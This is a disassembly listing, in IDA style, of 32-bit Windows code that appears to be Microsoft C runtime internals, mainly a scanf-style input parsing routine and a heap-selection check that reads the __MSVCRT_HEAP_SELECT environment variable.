loc_40E221:				; CODE XREF: sub_40DF72+2A6j
					; sub_40DF72+2F2j
		cmp	dword_41FF84, 1
		jle	short loc_40E236
		push	4
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E241
; ---------------------------------------------------------------------------


loc_40E236:				; CODE XREF: sub_40DF72+2B6j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40E241:				; CODE XREF: sub_40DF72+2C2j
		test	eax, eax
		jz	short loc_40E266
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40E266
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40E221
; ---------------------------------------------------------------------------


loc_40E266:				; CODE XREF: sub_40DF72+2D1j
					; sub_40DF72+2DBj
		cmp	byte_41FF88, bl
		jnz	short loc_40E2D4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40E2D4
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		mov	al, byte_41FF88
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_40E28F:				; CODE XREF: sub_40DF72+360j
		cmp	dword_41FF84, 1
		jle	short loc_40E2A4
		push	4
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E2AF
; ---------------------------------------------------------------------------


loc_40E2A4:				; CODE XREF: sub_40DF72+324j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40E2AF:				; CODE XREF: sub_40DF72+330j
		test	eax, eax
		jz	short loc_40E2D4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40E2D4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40E28F
; ---------------------------------------------------------------------------


loc_40E2D4:				; CODE XREF: sub_40DF72+2FAj
					; sub_40DF72+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_40E36C
		cmp	ebx, 65h
		jz	short loc_40E2EC
		cmp	ebx, 45h
		jnz	loc_40E36C


loc_40E2EC:				; CODE XREF: sub_40DF72+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40E36C
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_40E313
		mov	[esi], al
		inc	esi
		jmp	short loc_40E318
; ---------------------------------------------------------------------------


loc_40E313:				; CODE XREF: sub_40DF72+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_40E336


loc_40E318:				; CODE XREF: sub_40DF72+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_40E327
		and	[ebp+var_C], eax
		jmp	short loc_40E336
; ---------------------------------------------------------------------------


loc_40E327:				; CODE XREF: sub_40DF72+3AEj
					; sub_40DF72+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40E336:				; CODE XREF: sub_40DF72+3A4j
					; sub_40DF72+3B3j
		cmp	dword_41FF84, 1
		jle	short loc_40E34B
		push	4
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E356
; ---------------------------------------------------------------------------


loc_40E34B:				; CODE XREF: sub_40DF72+3CBj
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40E356:				; CODE XREF: sub_40DF72+3D7j
		test	eax, eax
		jz	short loc_40E36C
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40E36C
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_40E327
; ---------------------------------------------------------------------------


loc_40E36C:				; CODE XREF: sub_40DF72+366j
					; sub_40DF72+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_40E9E8
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_40E978
		cmp	[ebp+var_E], 0
		jnz	loc_40E8D9
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_41FD58
		add	esp, 0Ch
		jmp	loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E3B0:				; CODE XREF: sub_40DF72+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_40E3BF
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_40E3BF:				; CODE XREF: sub_40DF72+441j
		cmp	[ebp+var_5], 0
		jle	short loc_40E3C9
		mov	[ebp+var_16], 1


loc_40E3C9:				; CODE XREF: sub_40DF72+451j
		mov	edi, offset dword_41DC08
		jmp	loc_40E4DE
; ---------------------------------------------------------------------------


loc_40E3D3:				; CODE XREF: sub_40DF72+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_40E681
		sub	eax, 3
		jz	loc_40E4CF
		dec	eax
		dec	eax
		jz	loc_40E685
		sub	eax, 3
		jz	loc_40E1BB
		sub	eax, 3
		jz	short loc_40E421


loc_40E3FD:				; CODE XREF: sub_40DF72+21Bj
					; sub_40DF72+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_40E948
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_40E8D9
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E421:				; CODE XREF: sub_40DF72+489j
		cmp	[ebp+var_5], 0
		jle	short loc_40E42B
		mov	[ebp+var_16], 1


loc_40E42B:				; CODE XREF: sub_40DF72+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_40E4E2
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_40E4DE
; ---------------------------------------------------------------------------


loc_40E445:				; CODE XREF: sub_40DF72+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_40E46C


loc_40E44A:				; CODE XREF: sub_40DF72+259j
		dec	[ebp+var_C]
		jnz	short loc_40E45B
		cmp	[ebp+var_20], 0
		jz	short loc_40E45B
		mov	[ebp+var_F], 1
		jmp	short loc_40E46C
; ---------------------------------------------------------------------------


loc_40E45B:				; CODE XREF: sub_40DF72+4DBj
					; sub_40DF72+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40E46C:				; CODE XREF: sub_40DF72+4D6j
					; sub_40DF72+4E7j
		cmp	ebx, 30h
		jnz	loc_40E6BA
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_40E4BA
		cmp	bl, 58h
		jz	short loc_40E4BA
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_40E4A4
		push	6Fh


loc_40E49E:				; CODE XREF: sub_40DF72+55Bj
		pop	esi
		jmp	loc_40E6BA
; ---------------------------------------------------------------------------


loc_40E4A4:				; CODE XREF: sub_40DF72+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_40E9E8
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_40E6B7
; ---------------------------------------------------------------------------


loc_40E4BA:				; CODE XREF: sub_40DF72+517j
					; sub_40DF72+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_40E49E
; ---------------------------------------------------------------------------


loc_40E4CF:				; CODE XREF: sub_40DF72+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_40E4D9
		mov	[ebp+var_16], 1


loc_40E4D9:				; CODE XREF: sub_40DF72+561j
		mov	edi, offset dword_41DC00


loc_40E4DE:				; CODE XREF: sub_40DF72+45Cj
					; sub_40DF72+4CEj
		or	[ebp+var_18], 0FFh


loc_40E4E2:				; CODE XREF: sub_40DF72+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_40E506
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_40E506
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_40E509
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40DF72+584j
					; sub_40DF72+589j
		mov	dl, [ebp+var_35]


loc_40E509:				; CODE XREF: sub_40DF72+592j
					; sub_40DF72+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_40E56E
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_40E555
		test	dl, dl
		jz	short loc_40E555
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_40E555
		inc	edi
		cmp	dl, cl
		jnb	short loc_40E528
		mov	al, cl
		jmp	short loc_40E52C
; ---------------------------------------------------------------------------


loc_40E528:				; CODE XREF: sub_40DF72+5B0j
		mov	al, dl
		mov	dl, cl


loc_40E52C:				; CODE XREF: sub_40DF72+5B4j
		cmp	dl, al
		ja	short loc_40E551
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_40E539:				; CODE XREF: sub_40DF72+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_40E539


loc_40E551:				; CODE XREF: sub_40DF72+5BCj
		xor	dl, dl
		jmp	short loc_40E509
; ---------------------------------------------------------------------------


loc_40E555:				; CODE XREF: sub_40DF72+5A0j
					; sub_40DF72+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_40E509
; ---------------------------------------------------------------------------


loc_40E56E:				; CODE XREF: sub_40DF72+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_40E978
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_40E580
		mov	[ebp+arg_4], edi


loc_40E580:				; CODE XREF: sub_40DF72+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_40E9E8
		pop	ecx
		pop	ecx


loc_40E597:				; CODE XREF: sub_40DF72+6BCj
					; sub_40DF72+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_40E5AB
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_40E647


loc_40E5AB:				; CODE XREF: sub_40DF72+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_40E63B
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_40E63B
		cmp	[ebp+var_E], 0
		jnz	short loc_40E633
		cmp	[ebp+var_16], 0
		jz	short loc_40E628
		mov	ecx, off_41FD78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40E607
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		pop	ecx
		mov	[ebp+var_37], al


loc_40E607:				; CODE XREF: sub_40DF72+686j
		push	dword_41FF84
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4134C8
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_40E62B
; ---------------------------------------------------------------------------


loc_40E628:				; CODE XREF: sub_40DF72+673j
		mov	[esi], al
		inc	esi


loc_40E62B:				; CODE XREF: sub_40DF72+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_40E597
; ---------------------------------------------------------------------------


loc_40E633:				; CODE XREF: sub_40DF72+66Dj
		inc	[ebp+var_30]
		jmp	loc_40E597
; ---------------------------------------------------------------------------


loc_40E63B:				; CODE XREF: sub_40DF72+649j
					; sub_40DF72+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_40E9E8
		pop	ecx
		pop	ecx


loc_40E647:				; CODE XREF: sub_40DF72+633j
		cmp	[ebp+var_30], esi
		jz	loc_40E978
		cmp	[ebp+var_E], 0
		jnz	loc_40E8D9
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_40E8D9
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_40E679
		and	word ptr [eax],	0
		jmp	loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E679:				; CODE XREF: sub_40DF72+6FCj
		and	byte ptr [eax],	0
		jmp	loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E681:				; CODE XREF: sub_40DF72+466j
		mov	[ebp+var_D], 1


loc_40E685:				; CODE XREF: sub_40DF72+203j
					; sub_40DF72+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_40E693
		mov	[ebp+var_17], 1
		jmp	short loc_40E698
; ---------------------------------------------------------------------------


loc_40E693:				; CODE XREF: sub_40DF72+719j
		cmp	ebx, 2Bh
		jnz	short loc_40E6BA


loc_40E698:				; CODE XREF: sub_40DF72+71Fj
		dec	[ebp+var_C]
		jnz	short loc_40E6A9
		cmp	[ebp+var_20], 0
		jz	short loc_40E6A9
		mov	[ebp+var_F], 1
		jmp	short loc_40E6BA
; ---------------------------------------------------------------------------


loc_40E6A9:				; CODE XREF: sub_40DF72+729j
					; sub_40DF72+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		pop	ecx
		mov	ebx, eax


loc_40E6B7:				; CODE XREF: sub_40DF72+543j
		mov	[ebp+var_14], ebx


loc_40E6BA:				; CODE XREF: sub_40DF72+4FDj
					; sub_40DF72+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_40E7D3
		cmp	[ebp+var_F], 0
		jnz	loc_40E7B1


loc_40E6CE:				; CODE XREF: sub_40DF72+82Cj
		cmp	esi, 78h
		jnz	short loc_40E722
		cmp	dword_41FF84, 1
		jle	short loc_40E6EB
		push	80h
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E6F8
; ---------------------------------------------------------------------------


loc_40E6EB:				; CODE XREF: sub_40DF72+768j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_40E6F8:				; CODE XREF: sub_40DF72+777j
		test	eax, eax
		jz	loc_40E7A3
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4135C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_40E997
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40E775
; ---------------------------------------------------------------------------


loc_40E722:				; CODE XREF: sub_40DF72+75Fj
		cmp	dword_41FF84, 1
		jle	short loc_40E737
		push	4
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E742
; ---------------------------------------------------------------------------


loc_40E737:				; CODE XREF: sub_40DF72+7B7j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40E742:				; CODE XREF: sub_40DF72+7C3j
		test	eax, eax
		jz	short loc_40E7A3
		cmp	esi, 6Fh
		jnz	short loc_40E760
		cmp	ebx, 38h
		jge	short loc_40E7A3
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4135C0
		jmp	short loc_40E76F
; ---------------------------------------------------------------------------


loc_40E760:				; CODE XREF: sub_40DF72+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_411550


loc_40E76F:				; CODE XREF: sub_40DF72+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_40E775:				; CODE XREF: sub_40DF72+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_40E78D
		dec	[ebp+var_C]
		jz	short loc_40E7B1


loc_40E78D:				; CODE XREF: sub_40DF72+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_40E6CE
; ---------------------------------------------------------------------------


loc_40E7A3:				; CODE XREF: sub_40DF72+788j
					; sub_40DF72+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_40E9E8
		pop	ecx
		pop	ecx


loc_40E7B1:				; CODE XREF: sub_40DF72+756j
					; sub_40DF72+819j
		cmp	[ebp+var_17], 0
		jz	loc_40E897
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_40E897
; ---------------------------------------------------------------------------


loc_40E7D3:				; CODE XREF: sub_40DF72+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_40E88F


loc_40E7DD:				; CODE XREF: sub_40DF72+90Aj
		cmp	esi, 78h
		jz	short loc_40E821
		cmp	esi, 70h
		jz	short loc_40E821
		cmp	dword_41FF84, 1
		jle	short loc_40E7FC
		push	4
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E807
; ---------------------------------------------------------------------------


loc_40E7FC:				; CODE XREF: sub_40DF72+87Cj
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_40E807:				; CODE XREF: sub_40DF72+888j
		test	eax, eax
		jz	short loc_40E881
		cmp	esi, 6Fh
		jnz	short loc_40E81A
		cmp	ebx, 38h
		jge	short loc_40E881
		shl	edi, 3
		jmp	short loc_40E859
; ---------------------------------------------------------------------------


loc_40E81A:				; CODE XREF: sub_40DF72+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_40E859
; ---------------------------------------------------------------------------


loc_40E821:				; CODE XREF: sub_40DF72+86Ej
					; sub_40DF72+873j
		cmp	dword_41FF84, 1
		jle	short loc_40E839
		push	80h
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E846
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40DF72+8B6j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_40E846:				; CODE XREF: sub_40DF72+8C5j
		test	eax, eax
		jz	short loc_40E881
		push	ebx
		shl	edi, 4
		call	sub_40E997
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_40E859:				; CODE XREF: sub_40DF72+8A6j
					; sub_40DF72+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_40E86B
		dec	[ebp+var_C]
		jz	short loc_40E88F


loc_40E86B:				; CODE XREF: sub_40DF72+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_40E7DD
; ---------------------------------------------------------------------------


loc_40E881:				; CODE XREF: sub_40DF72+897j
					; sub_40DF72+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_40E9E8
		pop	ecx
		pop	ecx


loc_40E88F:				; CODE XREF: sub_40DF72+865j
					; sub_40DF72+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_40E897
		neg	edi


loc_40E897:				; CODE XREF: sub_40DF72+843j
					; sub_40DF72+85Cj ...
		cmp	esi, 46h
		jnz	short loc_40E8A0
		and	[ebp+var_1C], 0


loc_40E8A0:				; CODE XREF: sub_40DF72+928j
		cmp	[ebp+var_1C], 0
		jz	loc_40E978
		cmp	[ebp+var_E], 0
		jnz	short loc_40E8D9
		inc	[ebp+var_34]


loc_40E8B3:				; CODE XREF: sub_40DF72+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_40E8C9
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E8C9:				; CODE XREF: sub_40DF72+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_40E8D6
		mov	[eax], edi
		jmp	short loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E8D6:				; CODE XREF: sub_40DF72+95Ej
		mov	[eax], di


loc_40E8D9:				; CODE XREF: sub_40DF72+241j
					; sub_40DF72+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_40E926
; ---------------------------------------------------------------------------


loc_40E8E4:				; CODE XREF: sub_40DF72+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_40E953
		mov	ecx, off_41FD78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40E926
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_40E961
		dec	[ebp+var_4]


loc_40E926:				; CODE XREF: sub_40DF72+970j
					; sub_40DF72+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_40E93C
		cmp	byte ptr [esi],	25h
		jnz	short loc_40E97E
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_40E97E
		mov	esi, eax


loc_40E93C:				; CODE XREF: sub_40DF72+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_40DF9C
		jmp	short loc_40E978
; ---------------------------------------------------------------------------


loc_40E948:				; CODE XREF: sub_40DF72+1F4j
					; sub_40DF72+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_40E958
; ---------------------------------------------------------------------------


loc_40E953:				; CODE XREF: sub_40DF72+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_40E958:				; CODE XREF: sub_40DF72+9DFj
		call	sub_40E9E8
		pop	ecx
		pop	ecx
		jmp	short loc_40E978
; ---------------------------------------------------------------------------


loc_40E961:				; CODE XREF: sub_40DF72+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_40E9E8
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_40E9E8
		add	esp, 10h


loc_40E978:				; CODE XREF: sub_40DF72+1Fj
					; sub_40DF72+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_40E98F


loc_40E97E:				; CODE XREF: sub_40DF72+9BDj
					; sub_40DF72+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_40E992
		cmp	[ebp+var_15], al
		jnz	short loc_40E992
		or	eax, 0FFFFFFFFh
		jmp	short loc_40E992
; ---------------------------------------------------------------------------


loc_40E98F:				; CODE XREF: sub_40DF72+A0Aj
		mov	eax, [ebp+var_34]


loc_40E992:				; CODE XREF: sub_40DF72+A11j
					; sub_40DF72+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DF72	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E997	proc near		; CODE XREF: sub_40DF72+7A3p
					; sub_40DF72+8DCp

arg_0		= dword	ptr  4

		cmp	dword_41FF84, 1
		push	esi
		jle	short loc_40E9B1
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E9C0
; ---------------------------------------------------------------------------


loc_40E9B1:				; CODE XREF: sub_40E997+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_41FD78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40E9C0:				; CODE XREF: sub_40E997+18j
		test	eax, eax
		jnz	short loc_40E9CA
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_40E9CA:				; CODE XREF: sub_40E997+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_40E997	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9CE	proc near		; CODE XREF: sub_40DF72+1E1p
					; sub_40DF72+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_40E9E0
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_40E9E0:				; CODE XREF: sub_40E9CE+7j
		push	edx
		call	sub_41176F
		pop	ecx
		retn
sub_40E9CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9E8	proc near		; CODE XREF: sub_40DF72+6Bp
					; sub_40DF72+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_40E9FE
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4135DF
		pop	ecx
		pop	ecx

locret_40E9FE:				; CODE XREF: sub_40E9E8+5j
		retn
sub_40E9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9FF	proc near		; CODE XREF: sub_40DF72+63p
					; sub_40DF72+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_40EA05:				; CODE XREF: sub_40E9FF+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_40E9CE
		mov	edi, eax
		push	edi
		call	sub_413590
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA05
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40E9FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA23	proc near		; CODE XREF: sub_40B6D1+1Fp
					; sub_40C4F8+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_47F970
		test	eax, eax
		jz	short loc_40EA3B
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_40EA3B
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40EA3B:				; CODE XREF: sub_40EA23+7j
					; sub_40EA23+12j
		xor	eax, eax
		retn
sub_40EA23	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA3E	proc near		; CODE XREF: sub_40EA6B+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_41708C	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_40EA69
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_40EA69
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_40EA69:				; CODE XREF: sub_40EA3E+15j
					; sub_40EA3E+1Cj
		pop	esi
		retn
sub_40EA3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA6B	proc near		; CODE XREF: sub_40EBB3+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_40B690
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_417000	; GetVersionExA
		test	eax, eax
		jz	short loc_40EAAE
		cmp	[ebp+var_88], 2
		jnz	short loc_40EAAE
		cmp	[ebp+var_94], 5
		jb	short loc_40EAAE
		push	1
		pop	eax
		jmp	loc_40EBB0
; ---------------------------------------------------------------------------


loc_40EAAE:				; CODE XREF: sub_40EA6B+27j
					; sub_40EA6B+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_417128	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_40EB9D
